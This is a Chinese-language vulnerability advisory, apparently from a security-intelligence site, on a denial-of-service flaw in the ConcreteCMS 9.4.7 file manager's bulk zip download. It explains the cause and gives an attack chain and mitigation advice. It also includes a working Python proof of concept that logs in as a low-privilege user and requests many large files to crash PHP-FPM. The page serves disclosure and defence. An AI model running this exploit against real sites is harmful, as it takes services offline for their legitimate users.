IPBUF安全漏洞报告
English
CVE-2026-30662 CVSS 6.5 中危

CVE-2026-30662 ConcreteCMS文件管理器DoS漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-30662
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ConcreteCMS

相关标签

拒绝服务DoSConcreteCMS内存溢出权限绕过

漏洞概述

ConcreteCMS v9.4.7版本中的文件管理器组件存在拒绝服务漏洞。该漏洞源于concrete/controllers/backend/file.php文件中的download方法在创建zip归档时内存管理不当。具体而言,代码使用了ZipArchive::addFromString结合file_get_contents,将每个选定文件的全部内容加载到PHP内存中。经过身份验证的攻击者可以通过请求批量下载大文件来利用此漏洞,触发内存耗尽(OOM)条件,导致PHP-FPM进程崩溃(SIGSEGV),最终使Web服务器返回500错误,从而造成服务拒绝。

技术细节

该漏洞的技术核心在于ConcreteCMS文件管理器后端对批量下载功能的实现方式。在concrete/controllers/backend/file.php的下载方法中,系统利用ZipArchive类来创建压缩包。问题在于,开发人员使用了addFromString方法,并配合file_get_contents函数读取文件内容。这种做法意味着服务器必须将用户请求的所有文件的完整二进制数据一次性读入PHP进程的内存堆中,而非使用流式处理(Stream)。当拥有低权限账户的攻击者选择多个大文件并触发下载时,内存占用会瞬间激增。一旦超过PHP配置的memory_limit或系统可用内存,将导致OOM Killer介入或PHP-FPM进程因段错误(SIGSEGV)而崩溃。虽然主服务器可能存活,但PHP服务的瘫痪会导致持续的500错误,实现拒绝服务攻击。

攻击链分析

STEP 1
1. 获取凭证
攻击者需要注册或获取一个ConcreteCMS的低权限账户(PR:L)。
STEP 2
2. 识别目标文件
攻击者登录后访问文件管理器,识别系统中存在的大体积文件。
STEP 3
3. 触发漏洞
攻击者选择多个大文件,并触发批量下载功能,向后端发送包含大量文件ID的请求。
STEP 4
4. 内存耗尽与崩溃
服务器尝试将所有文件加载至内存以生成Zip包,导致内存溢出,PHP-FPM进程崩溃(SIGSEGV)。
STEP 5
5. 拒绝服务
Web服务器返回500错误,合法用户无法访问由PHP处理的服务页面。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: ConcreteCMS v9.4.7 - DoS via File Manager Bulk Download # Date: 2026-03-24 # Exploit Author: Analyst # Vendor Homepage: https://www.concretecms.com/ # Version: 9.4.7 target_url = "http://target-site.com/index.php/concrete/backend/file/download" session = requests.Session() # 1. Login as a low-privileged user login_payload = { "uName": "attacker", "uPassword": "password" } session.post("http://target-site.com/index.php/login/perform_login", data=login_payload) # 2. Select a large list of file IDs to trigger OOM # Assuming file IDs 1 to 100 are large files exploit_payload = { "fIDs[]": list(range(1, 101)), "download": "Download Selected" } try: print("Sending malicious bulk download request...") response = session.post(target_url, data=exploit_payload) if response.status_code == 500: print("[+] Server returned 500 Error - Potential DoS successful") else: print(f"[-] Server responded with status: {response.status_code}") except Exception as e: print(f"Request failed: {e}")

影响范围

ConcreteCMS v9.4.7

防御指南

临时缓解措施
建议管理员暂时限制普通用户对文件管理器的访问权限,或通过WAF规则拦截针对批量下载接口的高频请求。同时,应监控PHP-FPM进程的内存使用情况,并调整PHP的memory_limit设置以应对突发负载,但这仅能缓解而无法根本修复漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表